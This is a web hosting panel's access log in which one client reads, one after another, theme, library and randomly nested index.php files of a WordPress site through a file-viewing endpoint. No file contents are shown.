["2026-05-19 09:34:11", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/themes/astra/inc/lib/docs/class-astra-docs-loader.php'}", 4, 200, 2544, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:13", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/themes/astra/inc/lib/webfont/class-astra-webfont-loader.php'}", 3, 200, 4956, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:16", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/djilnax/bhjmtvw/rnemfda/index.php'}", 7, 200, 36091, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:24", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/ixvwpum/fyeokvi/afxribd/index.php'}", 58, 200, 36089, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:28", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/ID3/getid3.lib.php'}", 4, 200, 12664, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:31", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/ID3/getid3.php'}", 6, 200, 19954, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:34", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/PHPMailer/PHPMailer.php'}", 12, 200, 39660, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:40", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Requests/src/Transport/Curl.php'}", 4, 200, 5222, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:44", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/src/Cache/MySQL.php'}", 4, 200, 2840, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:48", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/src/File.php'}", 3, 200, 4607, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:51", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/Diff/Engine/shell.php'}", 4, 200, 1584, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:54", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/hvsmdki/1qjzitp/hbmzirl/index.php'}", 7, 200, 36088, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:34:59", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/rmljaqn/wmqpnar/gomtqpa/index.php'}", 7, 200, 36089, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:03", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/zsc1vpf/nfldqup/tvixa1f/index.php'}", 7, 200, 36090, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:07", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-snoopy.php'}", 3, 200, 8000, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:11", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-wp-http-curl.php'}", 3, 200, 3728, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:16", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/html-api/aucptos/yipcxmq/grvjpsd/index.php'}", 7, 200, 36089, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:20", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/html-api/yuahxgv/clhajrt/fzniylt/index.php'}", 10, 200, 36089, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:25", "114.219.182.210:49239", "GET", "/favicon.ico?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 4286, "image/vnd.microsoft.icon", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:26", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/stdoibz/a1tkvsx/xljavdf/index.php'}", 11, 200, 36089, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:35:30", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/update.php'}", 3, 200, 8427, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]